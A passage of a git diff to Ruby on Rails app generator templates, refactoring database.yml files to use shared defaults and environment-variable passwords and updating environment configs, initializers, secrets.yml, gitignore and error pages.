+#   DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: postgresql
-  encoding: unicode
+  <<: *default
   database: <%= app_name %>_production
   username: <%= app_name %>
-  password:
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
index 175f3eb3db..28c36eb82f 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
@@ -4,17 +4,20 @@
 # Configure Using Gemfile
 # gem 'activerecord-jdbcsqlite3-adapter'
 #
-development:
+default: &default
   adapter: sqlite3
+
+development:
+  <<: *default
   database: db/development.sqlite3
 
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: sqlite3
+  <<: *default
   database: db/test.sqlite3
 
 production:
-  adapter: sqlite3
+  <<: *default
   database: db/production.sqlite3
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
index c3349912aa..596c916573 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
@@ -1,6 +1,6 @@
-# MySQL.  Versions 4.1 and 5.0 are recommended.
+# MySQL.  Versions 5.0+ are recommended.
 #
-# Install the MYSQL driver
+# Install the MySQL driver
 #   gem install mysql2
 #
 # Ensure the MySQL gem is defined in your Gemfile
@@ -8,10 +8,10 @@
 #
 # And be sure to use new-style password hashing:
 #   http://dev.mysql.com/doc/refman/5.0/en/old-client.html
-development:
+#
+default: &default
   adapter: mysql2
   encoding: utf8
-  database: <%= app_name %>_development
   pool: 5
   username: root
   password:
@@ -21,31 +21,38 @@ development:
   host: localhost
 <% end -%>
 
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: mysql2
-  encoding: utf8
+  <<: *default
   database: <%= app_name %>_test
-  pool: 5
-  username: root
-  password:
-<% if mysql_socket -%>
-  socket: <%= mysql_socket %>
-<% else -%>
-  host: localhost
-<% end -%>
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="mysql2://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: mysql2
-  encoding: utf8
+  <<: *default
   database: <%= app_name %>_production
-  pool: 5
-  username: root
-  password:
-<% if mysql_socket -%>
-  socket: <%= mysql_socket %>
-<% else -%>
-  host: localhost
-<% end -%>
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
index b661a60389..9aedcc15cb 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
@@ -1,7 +1,7 @@
 # Oracle/OCI 8i, 9, 10g
 #
 # Requires Ruby/OCI8:
-#  http://rubyforge.org/projects/ruby-oci8/
+#  https://github.com/kubo/ruby-oci8
 #
 # Specify your database using any valid connection syntax, such as a
 # tnsnames.ora service name, or an SQL connect string of the form:
@@ -16,24 +16,43 @@
 #  prefetch_rows: 100
 #  cursor_sharing: similar
 #
-
-development:
+default: &default
   adapter: oracle
-  database: <%= app_name %>_development
   username: <%= app_name %>
   password:
 
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: oracle
+  <<: *default
   database: <%= app_name %>_test
-  username: <%= app_name %>
-  password:
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="oracle://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: oracle
+  <<: *default
   database: <%= app_name %>_production
   username: <%= app_name %>
-  password:
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
index eb569b7dab..feb25bbc6b 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
@@ -14,13 +14,25 @@
 # Configure Using Gemfile
 # gem 'pg'
 #
-development:
+default: &default
   adapter: postgresql
   encoding: unicode
-  database: <%= app_name %>_development
+  # For details on connection pooling, see rails configuration guide
+  # http://guides.rubyonrails.org/configuring.html#database-pooling
   pool: 5
-  username: <%= app_name %>
-  password:
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+  # The specified database role being used to connect to postgres.
+  # To create additional roles in postgres see `$ createuser --help`.
+  # When left blank, postgres will use the default role. This is
+  # the same name as the operating system user that initialized the database.
+  #username: <%= app_name %>
+
+  # The password associated with the postgres role (username).
+  #password:
 
   # Connect on a TCP socket. Omitted by default since the client uses a
   # domain socket that doesn't need configuration. Windows does not have
@@ -44,17 +56,30 @@ development:
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: postgresql
-  encoding: unicode
+  <<: *default
   database: <%= app_name %>_test
-  pool: 5
-  username: <%= app_name %>
-  password:
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: postgresql
-  encoding: unicode
+  <<: *default
   database: <%= app_name %>_production
-  pool: 5
   username: <%= app_name %>
-  password:
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
index 51a4dd459d..1c1a37ca8d 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
@@ -3,23 +3,23 @@
 #
 #   Ensure the SQLite 3 gem is defined in your Gemfile
 #   gem 'sqlite3'
-development:
+#
+default: &default
   adapter: sqlite3
-  database: db/development.sqlite3
   pool: 5
   timeout: 5000
 
+development:
+  <<: *default
+  database: db/development.sqlite3
+
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: sqlite3
+  <<: *default
   database: db/test.sqlite3
-  pool: 5
-  timeout: 5000
 
 production:
-  adapter: sqlite3
+  <<: *default
   database: db/production.sqlite3
-  pool: 5
-  timeout: 5000
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
index 7ef89d6608..30b0df34a8 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
@@ -21,37 +21,48 @@
 # If you can connect with "tsql -S servername", your basic FreeTDS installation is working.
 # 'man tsql' for more info
 # Set timeout to a larger number if valid queries against a live db fail
-
-development:
+#
+default: &default
   adapter: sqlserver
   encoding: utf8
   reconnect: false
-  database: <%= app_name %>_development
   username: <%= app_name %>
   password:
   timeout: 25
   dataserver: from_freetds.conf
 
+development:
+  <<: *default
+  database: <%= app_name %>_development
 
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: sqlserver
-  encoding: utf8
-  reconnect: false
+  <<: *default
   database: <%= app_name %>_test
-  username: <%= app_name %>
-  password:
-  timeout: 25
-  dataserver: from_freetds.conf
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="sqlserver://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: sqlserver
-  encoding: utf8
-  reconnect: false
+  <<: *default
   database: <%= app_name %>_production
   username: <%= app_name %>
-  password:
-  timeout: 25
-  dataserver: from_freetds.conf
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
index cff570a631..ecb5d4170f 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -12,9 +12,11 @@ Rails.application.configure do
   # Show full error reports and disable caching.
   config.consider_all_requests_local       = true
   config.action_controller.perform_caching = false
+  <%- unless options.skip_action_mailer? -%>
 
   # Don't care if the mailer can't send.
   config.action_mailer.raise_delivery_errors = false
+  <%- end -%>
 
   # Print deprecation notices to the Rails logger.
   config.active_support.deprecation = :log
@@ -22,12 +24,24 @@ Rails.application.configure do
   <%- unless options.skip_active_record? -%>
   # Raise an error on page load if there are pending migrations.
   config.active_record.migration_error = :page_load
-  <%- end -%>
 
+  <%- end -%>
   <%- unless options.skip_sprockets? -%>
   # Debug mode disables concatenation and preprocessing of assets.
   # This option may cause significant delays in view rendering with a large
   # number of complex assets.
   config.assets.debug = true
+
+  # Asset digests allow you to set far-future HTTP expiration dates on all assets,
+  # yet still be able to expire them through the digest params.
+  config.assets.digest = true
+
+  # Adds additional error checking when serving assets at runtime.
+  # Checks for improperly declared sprockets dependencies.
+  # Raises helpful error messages.
+  config.assets.raise_runtime_errors = true
   <%- end -%>
+
+  # Raises error for missing translations
+  # config.action_view.raise_on_missing_translations = true
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
index 1dfc9f136b..75666d20c5 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -5,7 +5,7 @@ Rails.application.configure do
   config.cache_classes = true
 
   # Eager load code on boot. This eager loads most of Rails and
-  # your application in memory, allowing both thread web servers
+  # your application in memory, allowing both threaded web servers
   # and those relying on copy on write to perform better.
   # Rake tasks automatically ignore this option for performance.
   config.eager_load = true
@@ -14,13 +14,9 @@ Rails.application.configure do
   config.consider_all_requests_local       = false
   config.action_controller.perform_caching = true
 
-  # Enable Rack::Cache to put a simple HTTP cache in front of your application
-  # Add `rack-cache` to your Gemfile before enabling this.
-  # For large-scale production use, consider using a caching reverse proxy like nginx, varnish or squid.
-  # config.action_dispatch.rack_cache = true
-
-  # Disable Rails's static asset server (Apache or nginx will already do this).
-  config.serve_static_assets = false
+  # Disable serving static files from the `/public` folder by default since
+  # Apache or NGINX already handles this.
+  config.serve_static_files = ENV['RAILS_SERVE_STATIC_FILES'].present?
 
   <%- unless options.skip_sprockets? -%>
   # Compress JavaScripts and CSS.
@@ -30,22 +26,26 @@ Rails.application.configure do
   # Do not fallback to assets pipeline if a precompiled asset is missed.
   config.assets.compile = false
 
-  # Generate digests for assets URLs.
+  # Asset digests allow you to set far-future HTTP expiration dates on all assets,
+  # yet still be able to expire them through the digest params.
   config.assets.digest = true
 
-  # Version of your assets, change this if you want to expire all your assets.
-  config.assets.version = '1.0'
+  # `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb
   <%- end -%>
 
+  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
+  # config.action_controller.asset_host = 'http://assets.example.com'
+
   # Specifies the header that your server uses for sending files.
-  # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
-  # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+  # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
+  # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
 
   # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
   # config.force_ssl = true
 
-  # Set to :debug to see everything in the log.
-  config.log_level = :info
+  # Use the lowest log level to ensure availability of diagnostic information
+  # when problems arise.
+  config.log_level = :debug
 
   # Prepend all log lines with the following tags.
   # config.log_tags = [ :subdomain, :uuid ]
@@ -56,29 +56,28 @@ Rails.application.configure do
   # Use a different cache store in production.
   # config.cache_store = :mem_cache_store
 
-  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
-  # config.action_controller.asset_host = "http://assets.example.com"
-
-  <%- unless options.skip_sprockets? -%>
-  # Precompile additional assets.
-  # application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
-  # config.assets.precompile += %w( search.js )
-  <%- end -%>
+  # Use a real queuing backend for Active Job (and separate queues per environment)
+  # config.active_job.queue_adapter     = :resque
+  # config.active_job.queue_name_prefix = "<%= app_name %>_#{Rails.env}"
+  <%- unless options.skip_action_mailer? -%>
 
   # Ignore bad email addresses and do not raise email delivery errors.
   # Set this to true and configure the email server for immediate delivery to raise delivery errors.
   # config.action_mailer.raise_delivery_errors = false
+  <%- end -%>
 
   # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
-  # the I18n.default_locale when a translation can not be found).
+  # the I18n.default_locale when a translation cannot be found).
   config.i18n.fallbacks = true
 
   # Send deprecation notices to registered listeners.
   config.active_support.deprecation = :notify
 
-  # Disable automatic flushing of the log to improve performance.
-  # config.autoflush_log = false
-
   # Use default logging formatter so that PID and timestamp are not suppressed.
   config.log_formatter = ::Logger::Formatter.new
+  <%- unless options.skip_active_record? -%>
+
+  # Do not dump schema after migrations.
+  config.active_record.dump_schema_after_migration = false
+  <%- end -%>
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
index ba0742f97f..0306deb18c 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
@@ -12,9 +12,9 @@ Rails.application.configure do
   # preloads Rails for running tests, you may have to set it to true.
   config.eager_load = false
 
-  # Configure static asset server for tests with Cache-Control for performance.
-  config.serve_static_assets  = true
-  config.static_cache_control = "public, max-age=3600"
+  # Configure static file server for tests with Cache-Control for performance.
+  config.serve_static_files   = true
+  config.static_cache_control = 'public, max-age=3600'
 
   # Show full error reports and disable caching.
   config.consider_all_requests_local       = true
@@ -25,12 +25,20 @@ Rails.application.configure do
 
   # Disable request forgery protection in test environment.
   config.action_controller.allow_forgery_protection = false
+  <%- unless options.skip_action_mailer? -%>
 
   # Tell Action Mailer not to deliver emails to the real world.
   # The :test delivery method accumulates sent emails in the
   # ActionMailer::Base.deliveries array.
   config.action_mailer.delivery_method = :test
+  <%- end -%>
+
+  # Randomize the order test cases are executed.
+  config.active_support.test_order = :random
 
   # Print deprecation notices to the stderr.
   config.active_support.deprecation = :stderr
+
+  # Raises error for missing translations
+  # config.action_view.raise_on_missing_translations = true
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb
new file mode 100644
index 0000000000..ea930f54da
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb
@@ -0,0 +1,6 @@
+## Change renderer defaults here.
+#
+# ApplicationController.renderer.defaults.merge!(
+#   http_host: 'example.org',
+#   https: false
+# )
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
new file mode 100644
index 0000000000..01ef3e6630
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
@@ -0,0 +1,11 @@
+# Be sure to restart your server when you modify this file.
+
+# Version of your assets, change this if you want to expire all your assets.
+Rails.application.config.assets.version = '1.0'
+
+# Add additional assets to the asset load path
+# Rails.application.config.assets.paths << Emoji.images_path
+
+# Precompile additional assets.
+# application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
+# Rails.application.config.assets.precompile += %w( search.js )
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/callback_terminator.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/callback_terminator.rb
new file mode 100644
index 0000000000..e63022da91
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/callback_terminator.rb
@@ -0,0 +1,4 @@
+# Be sure to restart your server when you modify this file.
+
+# Do not halt callback chains when a callback returns false.
+Rails.application.config.active_support.halt_callback_chains_on_return_false = false
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
new file mode 100644
index 0000000000..7f70458dee
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
@@ -0,0 +1,3 @@
+# Be sure to restart your server when you modify this file.
+
+Rails.application.config.action_dispatch.cookies_serializer = :json
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
index 72aca7e441..dc1899682b 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
@@ -2,4 +2,3 @@
 
 # Add new mime types for use in respond_to blocks:
 # Mime::Type.register "text/richtext", :rtf
-# Mime::Type.register_alias "text/html", :iphone
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
index f2110c2c70..94f612c3dd 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
@@ -11,6 +11,6 @@ end
 
 # To enable root element in JSON for ActiveRecord objects.
 # ActiveSupport.on_load(:active_record) do
-#  self.include_root_in_json = true
+#   self.include_root_in_json = true
 # end
 <%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
index f3cc6098a3..b2669a0f79 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
@@ -7,6 +7,16 @@
 # no regular words or you'll be exposed to dictionary attacks.
 # You can use `rake secret` to generate a secure secret key.
 
-# Make sure your secret_key_base is kept private
+# Make sure the secrets in this file are kept private
 # if you're sharing your code publicly.
-Rails.application.config.secret_key_base = '<%= app_secret %>'
+
+development:
+  secret_key_base: <%= app_secret %>
+
+test:
+  secret_key_base: <%= app_secret %>
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+  secret_key_base: <%%= ENV["SECRET_KEY_BASE"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore
index 6a502e997f..7c6f2098b8 100644
--- a/railties/lib/rails/generators/rails/app/templates/gitignore
+++ b/railties/lib/rails/generators/rails/app/templates/gitignore
@@ -7,10 +7,13 @@
 # Ignore bundler config.
 /.bundle
 
+<% if sqlite3? -%>
 # Ignore the default SQLite database.
 /db/*.sqlite3
 /db/*.sqlite3-journal
 
+<% end -%>
 # Ignore all logfiles and tempfiles.
-/log/*.log
+/log/*
+!/log/.keep
 /tmp
diff --git a/railties/lib/rails/generators/rails/app/templates/public/404.html b/railties/lib/rails/generators/rails/app/templates/public/404.html
index a0daa0c156..b612547fc2 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/404.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/404.html
@@ -2,17 +2,23 @@
 <html>
 <head>
   <title>The page you were looking for doesn't exist (404)</title>
+  <meta name="viewport" content="width=device-width,initial-scale=1">
   <style>
   body {
     background-color: #EFEFEF;
     color: #2E2F30;
     text-align: center;
     font-family: arial, sans-serif;
+    margin: 0;
   }
 
   div.dialog {
-    width: 25em;
-    margin: 4em auto 0 auto;
+    width: 95%;
+    max-width: 33em;
+    margin: 4em auto 0;
+  }
+
+  div.dialog > div {
     border: 1px solid #CCC;
     border-right-color: #999;
     border-left-color: #999;
@@ -21,7 +27,8 @@
     border-top-left-radius: 9px;
     border-top-right-radius: 9px;
     background-color: white;
-    padding: 7px 4em 0 4em;
+    padding: 7px 12% 0;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
 
   h1 {
@@ -30,19 +37,19 @@
     line-height: 1.5em;
   }
 
-  body > p {
-    width: 33em;
-    margin: 0 auto 1em;
-    padding: 1em 0;
+  div.dialog > p {
+    margin: 0 0 1em;
+    padding: 1em;
     background-color: #F7F7F7;
     border: 1px solid #CCC;
     border-right-color: #999;
+    border-left-color: #999;
     border-bottom-color: #999;
     border-bottom-left-radius: 4px;
     border-bottom-right-radius: 4px;
     border-top-color: #DADADA;
     color: #666;
-    box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
   </style>
 </head>
@@ -50,9 +57,11 @@
 <body>
   <!-- This file lives in public/404.html -->
   <div class="dialog">
-    <h1>The page you were looking for doesn't exist.</h1>
-    <p>You may have mistyped the address or the page may have moved.</p>
+    <div>
+      <h1>The page you were looking for doesn't exist.</h1>
+      <p>You may have mistyped the address or the page may have moved.</p>
+    </div>
+    <p>If you are the application owner check the logs for more information.</p>
   </div>
-  <p>If you are the application owner check the logs for more information.</p>
 </body>
 </html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/422.html b/railties/lib/rails/generators/rails/app/templates/public/422.html
index fbb4b84d72..a21f82b3bd 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/422.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/422.html
@@ -2,17 +2,23 @@
 <html>
 <head>
   <title>The change you wanted was rejected (422)</title>
+  <meta name="viewport" content="width=device-width,initial-scale=1">
   <style>
   body {
     background-color: #EFEFEF;
     color: #2E2F30;
     text-align: center;
     font-family: arial, sans-serif;
+    margin: 0;
   }
 
   div.dialog {
-    width: 25em;
-    margin: 4em auto 0 auto;
+    width: 95%;
+    max-width: 33em;
+    margin: 4em auto 0;
+  }
+
+  div.dialog > div {
     border: 1px solid #CCC;
     border-right-color: #999;
     border-left-color: #999;
@@ -21,7 +27,8 @@
     border-top-left-radius: 9px;
     border-top-right-radius: 9px;
     background-color: white;
-    padding: 7px 4em 0 4em;
+    padding: 7px 12% 0;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
 
   h1 {
@@ -30,19 +37,19 @@
     line-height: 1.5em;
   }
 
-  body > p {
-    width: 33em;
-    margin: 0 auto 1em;
-    padding: 1em 0;
+  div.dialog > p {
+    margin: 0 0 1em;
+    padding: 1em;
     background-color: #F7F7F7;
     border: 1px solid #CCC;
     border-right-color: #999;
+    border-left-color: #999;
     border-bottom-color: #999;
     border-bottom-left-radius: 4px;
     border-bottom-right-radius: 4px;
     border-top-color: #DADADA;
     color: #666;
-    box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
   </style>
 </head>
@@ -50,9 +57,11 @@
 <body>
   <!-- This file lives in public/422.html -->
   <div class="dialog">
-    <h1>The change you wanted was rejected.</h1>
-    <p>Maybe you tried to change something you didn't have access to.</p>
+    <div>
+      <h1>The change you wanted was rejected.</h1>
+      <p>Maybe you tried to change something you didn't have access to.</p>
+    </div>
+    <p>If you are the application owner check the logs for more information.</p>
   </div>
-  <p>If you are the application owner check the logs for more information.</p>
 </body>
 </html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html
index e9052d35bf..061abc587d 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/500.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/500.html
@@ -2,17 +2,23 @@
 <html>
 <head>
   <title>We're sorry, but something went wrong (500)</title>
+  <meta name="viewport" content="width=device-width,initial-scale=1">
   <style>
   body {
     background-color: #EFEFEF;
     color: #2E2F30;
     text-align: center;
     font-family: arial, sans-serif;
+    margin: 0;
   }
 
   div.dialog {
-    width: 25em;
-    margin: 4em auto 0 auto;
+    width: 95%;
+    max-width: 33em;
+    margin: 4em auto 0;
+  }
+
+  div.dialog > div {
     border: 1px solid #CCC;
     border-right-color: #999;
     border-left-color: #999;
@@ -21,7 +27,8 @@
     border-top-left-radius: 9px;
     border-top-right-radius: 9px;
     background-color: white;
-    padding: 7px 4em 0 4em;
+    padding: 7px 12% 0;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
 
   h1 {
@@ -30,19 +37,19 @@
     line-height: 1.5em;
   }
 
-  body > p {
-    width: 33em;
-    margin: 0 auto 1em;
-    padding: 1em 0;
+  div.dialog > p {
+    margin: 0 0 1em;
+    padding: 1em;
     background-color: #F7F7F7;
     border: 1px solid #CCC;
     border-right-color: #999;
+    border-left-color: #999;
     border-bottom-color: #999;
     border-bottom-left-radius: 4px;
     border-bottom-right-radius: 4px;
     border-top-color: #DADADA;
     color: #666;
-    box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
   }
   </style>
 </head>
@@ -50,8 +57,10 @@
 <body>
   <!-- This file lives in public/500.html -->
   <div class="dialog">
-    <h1>We're sorry, but something went wrong.</h1>
+    <div>
+      <h1>We're sorry, but something went wrong.</h1>
+    </div>
+    <p>If you are the application owner check the logs for more information.</p>
   </div>
-  <p>If you are the application owner check the logs for more information.</p>
 </body>
 </html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/robots.txt b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
index 1a3a5e4dd2..3c9c7c01f3 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/robots.txt
+++ b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
@@ -1,4 +1,4 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
 #
 # To ban all spiders from the entire site uncomment the next two lines:
 # User-agent: *
diff --git a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
index 4fd060341e..87b8fe3516 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
+++ b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
@@ -1,15 +1,10 @@
-ENV["RAILS_ENV"] ||= "test"
+ENV['RAILS_ENV'] ||= 'test'
 require File.expand_path('../../config/environment', __FILE__)
 require 'rails/test_help'
 
 class ActiveSupport::TestCase
 <% unless options[:skip_active_record] -%>
-  ActiveRecord::Migration.check_pending!
-
   # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
-  #
-  # Note: You'll currently still have to declare fixtures explicitly in integration tests
-  # -- they do not yet inherit this setting
   fixtures :all
 
 <% end -%>
diff --git a/railties/lib/rails/generators/rails/controller/USAGE b/railties/lib/rails/generators/rails/controller/USAGE
index de33900e0a..64239ad599 100644
--- a/railties/lib/rails/generators/rails/controller/USAGE
+++ b/railties/lib/rails/generators/rails/controller/USAGE
@@ -16,4 +16,3 @@ Example:
         Test:       test/controllers/credit_cards_controller_test.rb
         Views:      app/views/credit_cards/debit.html.erb [...]
         Helper:     app/helpers/credit_cards_helper.rb
